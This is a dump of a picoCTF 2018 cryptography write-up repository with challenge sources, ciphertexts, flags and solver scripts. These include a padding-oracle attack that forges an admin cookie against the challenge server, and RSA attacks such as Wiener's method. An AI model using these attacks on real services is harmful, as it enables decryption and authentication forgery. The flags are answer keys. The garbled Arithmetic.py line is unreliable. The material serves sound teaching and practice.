`picoCTF{0r4cl3s_c4n_l34k_c644af03}` ================================================ FILE: Cryptography/Magic Padding Oracle/files/pkcs7.py ================================================ #!/usr/bin/python2 import os import json import sys import time from Crypto.Cipher import AES cookiefile = open("cookie", "r").read().strip() flag = open("flag", "r").read().strip() key = open("key", "r").read().strip() welcome = """ Welcome to Secure Encryption Service version 1.63 """ def pad(s): return s + (16 - len(s) % 16) * chr(16 - len(s) % 16) def isvalidpad(s): return ord(s[-1])*s[-1:]==s[-ord(s[-1]):] def unpad(s): return s[:-ord(s[len(s)-1:])] def encrypt(m): IV="This is an IV456" cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV) return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex") def decrypt(m): cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex")) return cipher.decrypt(m[32:].decode("hex")) # flush output immediately sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) print welcome print "Here is a sample cookie: " + encrypt(cookiefile) # Get their cookie print "What is your cookie?" cookie2 = sys.stdin.readline() # decrypt, but remove the trailing newline first cookie2decoded = decrypt(cookie2[:-1]) if isvalidpad(cookie2decoded): d=json.loads(unpad(cookie2decoded)) print "username: " + d["username"] print "Admin? " + d["is_admin"] exptime=time.strptime(d["expires"],"%Y-%m-%d") if exptime > time.localtime(): print "Cookie is not expired" else: print "Cookie is expired" if d["is_admin"]=="true" and exptime > time.localtime(): print "The flag is: " + flag else: print "invalid padding" ================================================ FILE: Cryptography/Magic Padding Oracle/solution/requirements.txt ================================================ nclib ================================================ FILE: Cryptography/Magic Padding Oracle/solution/solution.py ================================================ import nclib, sys, binascii # Generate all 256 binary combinations of 1 byte byte_combinations = [] for i in range(0, 256): i = hex(i)[2:] byte_combinations.append('0' + i if len(i) == 1 else i) # Add zeros to the front of hex string. def add_zeros(string, desired_length): while len(string) < desired_length: string = '0' + string return string # Uses the padding oracle to return the decrypted hex string of the input cipherblock def decrypt_ciphertext(cipherblock): # Queries the server and submits the ciphertext # If invalid padding, return False. Else True (might be buggy if input is wrongly formatted) def check_pad(s: str) -> bool: print(s[:32]) # Print the IV nc = nclib.Netcat(connect = ('2018shell1.picoctf.com', 27533), verbose = False) nc.settimeout(2) # Receive the first 2 messages given by the server nc.recv() nc.recv() # Send the cipherblocks with new line char behind to signify the end of the input nc.send(s.encode() + b'\n') # Receive data data = nc.recv(100000) if b'invalid padding' in data: return False else: print(data) # Make sure data is error about JSON string return True decrypted_cipherblock = '' for i in range(1, 17): # Block length is 128 bits = 16 bytes # Try all combination of bits for byte in byte_combinations: found = False iv_prime = '0' * (32 - i * 2) + byte if i != 1: # Account for the padding for 2nd byte onwards # Get the values required to achieve the back padding by XOR-ing the pad with the known D(C) pad = (byte_combinations[i] * (i - 1)) padding_for_iv = hex(int(pad, base=16) ^ int(decrypted_cipherblock, base=16))[2:] padding_for_iv = add_zeros(padding_for_iv, len(pad)) iv_prime += padding_for_iv # Send to padding oracle res = check_pad(iv_prime + cipherblock) if res == True: # Correct padding obtained, calculate D(C)'s byte val = int(byte_combinations[i], base=16) ^ int(byte, base=16) val = hex(val)[2:] decrypted_cipherblock = '0' + val + decrypted_cipherblock if len(val) == 1 else val + decrypted_cipherblock found = True break # If all 256 bytes have been exhausted without a valid padding, then something went wrong. if found == False: print('Error - couldn\'t find proper padding.') return return decrypted_cipherblock # Encrypts a given plaintext by using the padding oracle attack as a decryption oracle. def encrypt_plaintext(plaintext): # Splits input string into blocks of 16 bytes and pads the last block according to PKCS #7 def split_input_string(input_string): BLOCK_LENGTH = 16 # 16 bytes splitted_input_string = [] # Split into blocks of 16 bytes for _ in range(len(input_string) // BLOCK_LENGTH): splitted_input_string.append(input_string[:BLOCK_LENGTH]) input_string = input_string[BLOCK_LENGTH:] # Pad the last block padding_required = BLOCK_LENGTH - len(input_string) padding_required = '0' + hex(padding_required)[2:] if len(hex(padding_required)[2:]) == 1 else hex(padding_required)[2:] while len(input_string) < BLOCK_LENGTH: input_string += binascii.unhexlify(padding_required.encode()) # Append to output array of blocks of 16 bytes and return splitted_input_string.append(input_string) return splitted_input_string # Get 16 byte blocks of the plaintext plaintext = split_input_string(plaintext.encode()) arbitrary_ciphertext_block = 'cafebabecafebabecafebabecafebabe' # Ciphertext should end with this arbitrary block ciphertext = [arbitrary_ciphertext_block] # Get blocks from the back of the plaintext current_cipher_block = arbitrary_ciphertext_block for block in plaintext[::-1]: # Get D(C_n) current_decrypted_block = decrypt_ciphertext(current_cipher_block) # Get C_n-1 by XOR-ing with plaintext block previous_cipher_block = int.from_bytes(block, byteorder='big') ^ int(current_decrypted_block, base=16) previous_cipher_block = hex(previous_cipher_block)[2:] previous_cipher_block = add_zeros(previous_cipher_block, 32) ciphertext.append(previous_cipher_block) # Append to ciphertext current_cipher_block = previous_cipher_block # Make prev cipherblock current cipherblock return ciphertext plaintext = '{"username": "cafebabe!","is_admin": "true","expires": "2020-1-1"}' ciphertext = encrypt_plaintext(plaintext) # Print out ciphertext for block in ciphertext[::-1]: print(block, end=' ') ================================================ FILE: Cryptography/Safe RSA/README.md ================================================ # Safe RSA Points: 250 ## Category Cryptography ## Question >Now that you know about RSA can you help us decrypt this [ciphertext](files/ciphertext)? We don't have the decryption key but something about those values looks funky.. ### Hint >RSA [tutorial](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) > >Hmmm that e value looks kinda small right? > >These are some really big numbers.. Make sure you're using functions that don't lose any precision! ## Solution Since _n_ is really huge and _e_ is really tiny, we can figure out the message without needing to factorise _n_! We can assume that `m ** e < n`. Therefore we do a cube root on _c_, and convert the value into ascii. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{e_w4y_t00_sm411_81b6559f}` ================================================ FILE: Cryptography/Safe RSA/files/ciphertext ================================================ N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e: 3 ciphertext (c): 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773 ================================================ FILE: Cryptography/Safe RSA/solution/solve.py ================================================ #!/usr/bin/python from gmpy2 import * get_context().precision=500 c = mpq(2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773, 1) print str(hex(int(cbrt(c))))[2:-1].decode('hex') ================================================ FILE: Cryptography/SpyFi/README.md ================================================ # SpyFi Points: 300 ## Category Cryptography ## Question >James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you? Conect with `nc 2018shell1.picoctf.com 30399`. [Source](files/spy_terminal_no_flag.py). ### Hint >What mode is being used? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Cryptography/SpyFi/files/spy_terminal_no_flag.py ================================================ #!/usr/bin/python2 -u from Crypto.Cipher import AES agent_code = """flag""" def pad(message): if len(message) % 16 != 0: message = message + '0'*(16 - len(message)%16 ) return message def encrypt(key, plain): cipher = AES.new( key.decode('hex'), AES.MODE_ECB ) return cipher.encrypt(plain).encode('hex') welcome = "Welcome, Agent 006!" print welcome sitrep = raw_input("Please enter your situation report: ") message = """Agent, Greetings. My situation report is as follows: {0} My agent identifying code is: {1}. Down with the Soviets, 006 """.format( sitrep, agent_code ) message = pad(message) print encrypt( """key""", message ) ================================================ FILE: Cryptography/Super Safe RSA/README.md ================================================ # Super Safe RSA Points: 350 ## Category Cryptography ## Question >Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with `nc 2018shell1.picoctf.com 6262`. ### Hint >Just try the first thing that comes to mind. ## Solution The first thing that comes to mind is to factorise _n_, to get the totient, and generate the private key. We use [msieve](https://sourceforge.net/projects/msieve/) as our factorising tool. Just factorise the primes, and get _p_ and _q_. A Python script is needed to decrypt the ciphertext and get the flag Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{us3_l@rg3r_pr1m3$_2711}` ================================================ FILE: Cryptography/Super Safe RSA/solution/ciphertext ================================================ c: 7929011382767041584510203527859505899601572024468762886720475415218105799874362 n: 11930191517420424428458862771846268087893161863249464023139623203854660066472157 e: 65537 ================================================ FILE: Cryptography/Super Safe RSA/solution/solve.py ================================================ #!/usr/bin/python from gmpy2 import * c = 7929011382767041584510203527859505899601572024468762886720475415218105799874362 n = 11930191517420424428458862771846268087893161863249464023139623203854660066472157 e = 65537 p = 92027970011808537690210426025129587299 q = 129636582398694722475936463924386691191743 def eea(a,b): if b==0:return (1,0) (q,r) = (a//b,a%b) (s,t) = eea(b,r) return (t, s-(q*t) ) def find_inverse(x,y): inv = eea(x,y)[0] if inv < 1: inv += y #we only want positive values return inv totient = (p - 1) * (q - 1) d = find_inverse(e, totient) flag = powmod(c, d, n) print hex(flag)[2:].decode('hex') ================================================ FILE: Cryptography/Super Safe RSA 2/README.md ================================================ # Super Safe RSA 2 Points: 425 ## Category Cryptography ## Question >Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with `nc 2018shell1.picoctf.com 56543`. ### Hint >What is the usual value for e? ## Solution Working solution [solve.py](solution/solve.py). ### Flag `picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_2104643}` ================================================ FILE: Cryptography/Super Safe RSA 2/solution/ciphertext ================================================ c: 87973714357981711192552122844931994201928929629523523402698449229349318496325838631069992408358538609456707487292932430988908376333690020467856573339571710564864261213347859858094994302558444565941871798549199610810852463994468365272979667205962334739912686073389255122096601393196371860158722056997802747144 n: 123011419727242929605859484379712787224119427868122185028414426038747211967728126687082223191959583800124030930442533997557997625495312608148837196827665382944411142837816321635710707548473070155845149369804586838545770200114861944189730393681376431146673015470955622822572616394605670811484761576817673309001 e: 20370827750732677953101194500404700852089173301382884082478321647291201786559551992537091540692087873762090234342322985115231826746732803397154738501467143140654322623572067396058860233911575260540468106570172920030157403146163826401598627492164762337650828047117823273414399019740348998847585859920303350373 ================================================ FILE: Cryptography/Super Safe RSA 2/solution/solve.py ================================================ #!/usr/bin/python from gmpy2 import * from wienerAttack.RSAwienerHacker import * N = 123011419727242929605859484379712787224119427868122185028414426038747211967728126687082223191959583800124030930442533997557997625495312608148837196827665382944411142837816321635710707548473070155845149369804586838545770200114861944189730393681376431146673015470955622822572616394605670811484761576817673309001 C = 87973714357981711192552122844931994201928929629523523402698449229349318496325838631069992408358538609456707487292932430988908376333690020467856573339571710564864261213347859858094994302558444565941871798549199610810852463994468365272979667205962334739912686073389255122096601393196371860158722056997802747144 E = 20370827750732677953101194500404700852089173301382884082478321647291201786559551992537091540692087873762090234342322985115231826746732803397154738501467143140654322623572067396058860233911575260540468106570172920030157403146163826401598627492164762337650828047117823273414399019740348998847585859920303350373 d = hack_RSA(E, N) print hex(powmod(C, d, N))[2:].decode('hex') ================================================ FILE: Cryptography/Super Safe RSA 2/solution/wienerAttack/Arithmetic.py ================================================ ''' Created on Dec 22, 2011 @author: pablocelayes ''' def egcd(a,b): ''' Extended Euclidean Algorithm returns x, y, gcd(a,b) such that ax + by = gcd(a,b) ''' u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return u, v, a def gcd(a,b): ''' 2.8 times faster than egcd(a,b)[2] ''' a,b=(b,a) if a= 0 n = 0 while x > 0: n = n+1 x = x>>1 return n def isqrt(n): ''' Calculates the integer square root for arbitrary large nonnegative integers ''' if n < 0: raise ValueError('square root not defined for negative numbers') if n == 0: return 0 a, b = divmod(bitlength(n), 2) x = 2**(a+b) while True: y = (x + n//x)//2 if y >= x: return x x = y def is_perfect_square(n): ''' If n is a perfect square it returns sqrt(n), otherwise returns -1 ''' h = n & 0xF; #last hexadecimal "digit" if h > 9: return -1 # return immediately in 6 cases out of 16. # Take advantage of Boolean short-circuit evaluation if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ): # take square root if you must t = isqrt(n) if t*t == n: return t else: return -1 return -1 #TEST functions def test_is_perfect_square(): print("Testing is_perfect_square") testsuit = [4, 0, 15, 25, 18, 901, 1000, 1024] for n in testsuit: print("Is ", n, " a perfect square?") if is_perfect_square(n)!= -1: print("Yes!") else: print("Nope") if __name__ == "__main__": test_is_perfect_square() ================================================ FILE: Cryptography/Super Safe RSA 2/solution/wienerAttack/ContinuedFractions.py ================================================ ''' Created on Dec 14, 2011 @author: pablocelayes ''' def rational_to_contfrac (x, y): ''' Converts a rational x/y fraction into a list of partial quotients [a0, ..., an] ''' a = x//y if a * y == x: return [a] else: pquotients = rational_to_contfrac(y, x - a * y) pquotients.insert(0, a) return pquotients #TODO: efficient method that calculates convergents on-the-go, without doing partial quotients first def convergents_from_contfrac(frac): ''' computes the list of convergents using the list of partial quotients ''' convs = []; for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0:i])) return convs def contfrac_to_rational (frac): '''Converts a finite continued fraction [a0, ..., an] to an x/y rational. ''' if len(frac) == 0: return (0,1) elif len(frac) == 1: return (frac[0], 1) else: remainder = frac[1:len(frac)] (num, denom) = contfrac_to_rational(remainder) # fraction is now frac[0] + 1/(num/denom), which is # frac[0] + denom/num. return (frac[0] * num + denom, num) def test1(): ''' Verify that the basic continued-fraction manipulation stuff works. ''' testnums = [(1, 1), (1, 2), (5, 15), (27, 73), (73, 27)] for r in testnums: (num, denom) = r print('rational number:') print(r) contfrac = rational_to_contfrac (num, denom) print('continued fraction:') print(contfrac) print('convergents:') print(convergents_from_contfrac(contfrac)) print('***********************************') if __name__ == "__main__": test1() ================================================ FILE: Cryptography/Super Safe RSA 2/solution/wienerAttack/RSAwienerHacker.py ================================================ ''' Created on Dec 14, 2011 @author: pablocelayes ''' import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator def hack_RSA(e,n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k,d) in convergents: #check if d is actually the key if k!=0 and (e*d-1)%k == 0: phi = (e*d-1)//k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s*s - 4*n if(discr>=0): t = Arithmetic.is_perfect_square(discr) if t!=-1 and (s+t)%2==0: print("Hacked!") return d # TEST functions def test_hack_RSA(): print("Testing Wiener Attack") times = 5 while(times>0): e,n,d = RSAvulnerableKeyGenerator.generateKeys(1024) print("(e,n) is (", e, ", ", n, ")") print("d = ", d) hacked_d = hack_RSA(e, n) if d == hacked_d: print("Hack WORKED!") else: print("Hack FAILED") print("d = ", d, ", hacked_d = ", hacked_d) print("-------------------------") times -= 1 if __name__ == "__main__": #test_is_perfect_square() #print("-------------------------") test_hack_RSA() ================================================ FILE: Cryptography/Super Safe RSA 2/solution/wienerAttack/__init__.py ================================================ ================================================ FILE: Cryptography/Super Safe RSA 3/README.md ================================================ # Super Safe RSA 3 Points: 600 ## Category Cryptography ## Question >The more primes, the safer.. right.?.? Connect with `nc 2018shell1.picoctf.com 11423`. ### Hint >How would you find d if there are more than 2 prime factors of n? ## Solution Use msieve to install to factorise the primes Calculate the totient by doing `(prime_1 - 1) * (prime_2 - 1) ... (prime_n - 1)` where `n` is the total number of primes Reconstruct the private key, and decrypt the message Recommended reads: https://crypto.stackexchange.com/questions/44110/rsa-with-3-primes ### Flag `picoCTF{p_&_q_n0_r_$_t!!_6629910}` ================================================ FILE: Cryptography/Super Safe RSA 3/solution/ciphertext ================================================ c: 38267717521783805358997028434192574072066206734150058806702039241540545591327160817138103308778806260550691278229033409184518095836671759886018797380100194106653804590171378094033599430892604979401307896519429546854583917860199582081050782350831478073093769585362279610973195866544327315887867433642490547 n: 40795360971651974271650711440993964050307855147720011233981545415438122680764985969049700071051749071781096004576107493076004911609956646026586641164708122628888234552831947705825820830717771374968853614494573673171451401812260688186915972782495102601063537646203830376891448685264916094254020958827455069 e: 65537 ================================================ FILE: Cryptography/Super Safe RSA 3/solution/solve.py ================================================ #!/usr/bin/python from gmpy2 import * n = 40795360971651974271650711440993964050307855147720011233981545415438122680764985969049700071051749071781096004576107493076004911609956646026586641164708122628888234552831947705825820830717771374968853614494573673171451401812260688186915972782495102601063537646203830376891448685264916094254020958827455069 c = 38267717521783805358997028434192574072066206734150058806702039241540545591327160817138103308778806260550691278229033409184518095836671759886018797380100194106653804590171378094033599430892604979401307896519429546854583917860199582081050782350831478073093769585362279610973195866544327315887867433642490547 e = 65537 primes = [ 2408536589, 2613433873, 2646493621, 2666585221, 2670389531, 2683499473, 2685364093, 2741484497, 2863351783, 2886722177, 2925436511, 3064431973, 3108375629, 3148348271, 3266962103, 3274199927, 3340290809, 3347444599, 3358514681, 3521655793, 3548118169, 3874420523, 3896780983, 3957297011, 3993894323, 4051778999, 4079155009, 4079785417, 4111436137, 4137823787, 4173914051, 4186089221 ] totient = 1 for i in primes: totient *= (i - 1) assert gcd(e, totient) == 1 d = invert(e, totient) get_context().precision=1000 m = powmod(c, d, n) print str(hex(int(m)))[2:-1].decode('hex') ================================================ FILE: Cryptography/blaise's cipher/README.md ================================================ # blaise's cipher Points: 200 ## Category Cryptography ## Question >My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with `nc 2018shell1.picoctf.com 46966`. ### Hint >There are tools that make this easy. > >This cipher was NOT invented by Pascal ## Solution This is a Vigenère Cipher, this time without a key. Bruteforce using an online tool. Online tool: https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx ### Flag `picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_cdf08bf0}` ================================================ FILE: Cryptography/blaise's cipher/solution/ciphertext ================================================ Encrypted message: Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx. Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce. Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_hof08hk0} Ehk Atgksprk htpnjc ggnyej f cevzeaznzn ltc bknyg kcnevytotfwle xerusr. Nuypd gzehuw lnj rltnjxaznnigs Nhgwwey Qftcnogk Izdmxzn (Rjhiy Hlrxtwl) ifwlki ehk Atgksprk htpnjc utgcegplbrj tn nnd 1868 pojne "Zmp Arusahje Cousex" ny a imtljwpn'y rlggetnk. Ny 1917, Sinpnznqii Fxexnnat ipsiwtbki ehk Atgksprk htpnjc ay "nxpuxdihqp ol ycatxwaznzn". Zmts xjauzfeius hay szt jjdexapd. Imlrrjd Bggmamj ts qszwt yz hgap bxtvet f gaxnlnz tq tnj nivmpr gx paxqj ay 1854; mzwkapr, nj oijs'e pagwiym siy bzrq. Plsoxvi kseixjwy hwzkk yse inahkw lnj ufbrndhki ehk ypcnstqaj tn zmp 19tn hpnzzcy. Kapn hjqoxj ehox, ehuzrh, ytxe yptlrjo cxdatgsllexes itflj tncgxtotfwle gcegp ehk htpnjc it yse 16zm netyfre. Hcyvyzgxfahoh dloip raqp uyjo ay f narhflgytot ftd hd ehk Xhiyx Lrsd mezbpet 1914 fyd 1940. Zmp Volpnkwp cousex nd soralk jyoals tu gp a lnplj htpnjc il ne iy zdej ny cusuutheius hizm nivmpr jndky. Yse Ityfkiprgyp Szfeey tq Asjciif, qox jiasuwe, axpd g gcayx nivmpr jndk zt tmvqpmkse tnj Gimjyexj nivmpr jzcitl ehk Fxexnnat Htvoq Hax. Yse Ityfkiprghj's sjdsglps cjce lfc fxtx skhcez fyd zmp Utnzn xjrurfcle hcaippd zmpix rpsyfrey. Ysruzrhuze tnj hax, yse Ityfkiprgyp lkfoexxsiv ucisfcird cernpd auzn zmcek ppy vmcayjd, "Mgsnhkxeex Gwulk", "Nosuwezj Giiyzre" fyd, gx ehk blr ifxe zt l crtde, "Itxe Xjerogftoty". Goqmexy Gexslm zwtej yz rkulix yse hwzkks nivmpr (iwpaznyg zmp Vkwyas–Atgksprk htpnjc it 1918), gft, tt xazypr cmlt nj oij, yse inahkw hay xeirq gursprggwe zt nreueatfwyynd. Vkwyas'x hoxp, socjgex, jgetyfarqj lki eo zmp otj-eisj aaj, f ehktceznnarqj utgcegplbrj nivmpr. ================================================ FILE: Cryptography/caesar cipher 1/README.md ================================================ # caesar cipher 1 Points: 150 ## Category Cryptography ## Question >This is one of the older ciphers in the books, can you decrypt the [message](files/ciphertext)? You can find the ciphertext in /problems/caesar-cipher-1_4_e4dc6dcfb004bdade0b9ce8e44f1bac4 on the shell server. ### Hint >caesar cipher [tutorial](https://learncryptography.com/classical-encryption/caesar-cipher) ## Solution This is a simple caesar cipher. Online tool: https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript ### Flag `picoCTF{justagoodoldcaesarciphertobrvmri}` ================================================ FILE: Cryptography/caesar cipher 1/files/ciphertext ================================================ picoCTF{domnuaiixifxwuymulwcjbylnivlpglc} ================================================ FILE: Cryptography/caesar cipher 2/README.md ================================================ # caesar cipher 2 Points: 250 ## Category Cryptography ## Question >Can you help us decrypt this [message](files/)? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell server. ### Hint >You'll have figure out the correct alphabet that was used to encrypt the ciphertext from the ascii character set > >[ASCII Table](https://www.asciitable.com/) ## Solution To do ### Flag `picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}` ================================================ FILE: Cryptography/caesar cipher 2/files/ciphertext ================================================ 4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA ================================================ FILE: Cryptography/hertz/README.md ================================================ # hertz Points: 150 ## Category Cryptography ## Question >Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with `nc 2018shell1.picoctf.com 18581`. ### Hint >NOTE: Flag is not in the usual flag format ## Solution This is a Substitution Cipher. Use an online tool to brute-force. Online tool: https://quipqiup.com/ ### Flag `substitution_ciphers_are_solvable_fgnvvgndms` ================================================ FILE: Cryptography/hertz/solution/ciphertext ================================================ ------------------------------------------------------------------------------- uqblrjwm zxrx gm fqvr pojl - mvtmwgwvwgqb_ugyzxrm_jrx_mqokjtox_plbkklbscm ------------------------------------------------------------------------------- ujoo cx gmzcjxo. mqcx fxjrm jlq-bxkxr cgbs zqd oqbl yrxugmxof-zjkgbl ogwwox qr bq cqbxf gb cf yvrmx, jbs bqwzgbl yjrwguvojr wq gbwxrxmw cx qb mzqrx, g wzqvlzw g dqvos mjgo jtqvw j ogwwox jbs mxx wzx djwxrf yjrw qp wzx dqros. gw gm j djf g zjkx qp srgkgbl qpp wzx myoxxb jbs rxlvojwgbl wzx ugruvojwgqb. dzxbxkxr g pgbs cfmxop lrqdgbl lrgc jtqvw wzx cqvwz; dzxbxkxr gw gm j sjcy, srgaaof bqkxctxr gb cf mqvo; dzxbxkxr g pgbs cfmxop gbkqovbwjrgof yjvmgbl txpqrx uqppgb djrxzqvmxm, jbs trgblgbl vy wzx rxjr qp xkxrf pvbxrjo g cxxw; jbs xmyxugjoof dzxbxkxr cf zfyqm lxw mvuz jb vyyxr zjbs qp cx, wzjw gw rxhvgrxm j mwrqbl cqrjo yrgbugyox wq yrxkxbw cx prqc sxogtxrjwxof mwxyygbl gbwq wzx mwrxxw, jbs cxwzqsgujoof ebquegbl yxqyox'm zjwm qpp-wzxb, g juuqvbw gw zglz wgcx wq lxw wq mxj jm mqqb jm g ujb. wzgm gm cf mvtmwgwvwx pqr ygmwqo jbs tjoo. dgwz j yzgoqmqyzgujo poqvrgmz ujwq wzrqdm zgcmxop vyqb zgm mdqrs; g hvgxwof wjex wq wzx mzgy. wzxrx gm bqwzgbl mvryrgmgbl gb wzgm. gp wzxf tvw ebxd gw, jocqmw joo cxb gb wzxgr sxlrxx, mqcx wgcx qr qwzxr, uzxrgmz kxrf bxjrof wzx mjcx pxxogblm wqdjrsm wzx quxjb dgwz cx. wzxrx bqd gm fqvr gbmvojr ugwf qp wzx cjbzjwwqxm, txowxs rqvbs tf dzjrkxm jm gbsgjb gmoxm tf uqrjo rxxpm-uqccxrux mvrrqvbsm gw dgwz zxr mvrp. rglzw jbs oxpw, wzx mwrxxwm wjex fqv djwxrdjrs. gwm xiwrxcx sqdbwqdb gm wzx tjwwxrf, dzxrx wzjw bqtox cqox gm djmzxs tf djkxm, jbs uqqoxs tf trxxaxm, dzguz j pxd zqvrm yrxkgqvm dxrx qvw qp mglzw qp ojbs. oqqe jw wzx urqdsm qp djwxr-ljaxrm wzxrx. ugruvcjctvojwx wzx ugwf qp j srxjcf mjttjwz jpwxrbqqb. lq prqc uqroxjrm zqqe wq uqxbwgxm mogy, jbs prqc wzxbux, tf dzgwxzjoo, bqrwzdjrs. dzjw sq fqv mxx?-yqmwxs ogex mgoxbw mxbwgbxom joo jrqvbs wzx wqdb, mwjbs wzqvmjbsm vyqb wzqvmjbsm qp cqrwjo cxb pgixs gb quxjb rxkxrgxm. mqcx oxjbgbl jljgbmw wzx mygoxm; mqcx mxjwxs vyqb wzx ygxr-zxjsm; mqcx oqqegbl qkxr wzx tvodjrem qp mzgym prqc uzgbj; mqcx zglz joqpw gb wzx rgllgbl, jm gp mwrgkgbl wq lxw j mwgoo txwwxr mxjdjrs yxxy. tvw wzxmx jrx joo ojbsmcxb; qp dxxe sjfm yxbw vy gb ojwz jbs yojmwxr-wgxs wq uqvbwxrm, bjgoxs wq txbuzxm, uogbuzxs wq sxmem. zqd wzxb gm wzgm? jrx wzx lrxxb pgxosm lqbx? dzjw sq wzxf zxrx? tvw oqqe! zxrx uqcx cqrx urqdsm, yjugbl mwrjglzw pqr wzx djwxr, jbs mxxcgblof tqvbs pqr j sgkx. mwrjblx! bqwzgbl dgoo uqbwxbw wzxc tvw wzx xiwrxcxmw ogcgw qp wzx ojbs; oqgwxrgbl vbsxr wzx mzjsf oxx qp fqbsxr djrxzqvmxm dgoo bqw mvppgux. bq. wzxf cvmw lxw nvmw jm bglz wzx djwxr jm wzxf yqmmgtof ujb dgwzqvw pjoogbl gb. jbs wzxrx wzxf mwjbs-cgoxm qp wzxc-oxjlvxm. gbojbsxrm joo, wzxf uqcx prqc ojbxm jbs jooxfm, mwrxxwm jbs jkxbvxm-bqrwz, xjmw, mqvwz, jbs dxmw. fxw zxrx wzxf joo vbgwx. wxoo cx, sqxm wzx cjlbxwgu kgrwvx qp wzx bxxsoxm qp wzx uqcyjmmxm qp joo wzqmx mzgym jwwrjuw wzxc wzgwzxr? ================================================ FILE: Cryptography/hertz 2/README.md ================================================ # hertz 2 Points: 200 ## Category Cryptography ## Question >This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with `nc 2018shell1.picoctf.com 23479`. ### Hint >These kinds of problems are solved with a frequency that merits some analysis. ## Solution Another Substitution Cipher. Use an online tool to brute-force. Online tool: https://quipqiup.com/ Set _nkibILQ=picoCTF_ in _Clues_ input box. ### Flag `picoCTF{substitution_ciphers_are_too_easy_vydbopybvn}` ================================================ FILE: Cryptography/hertz 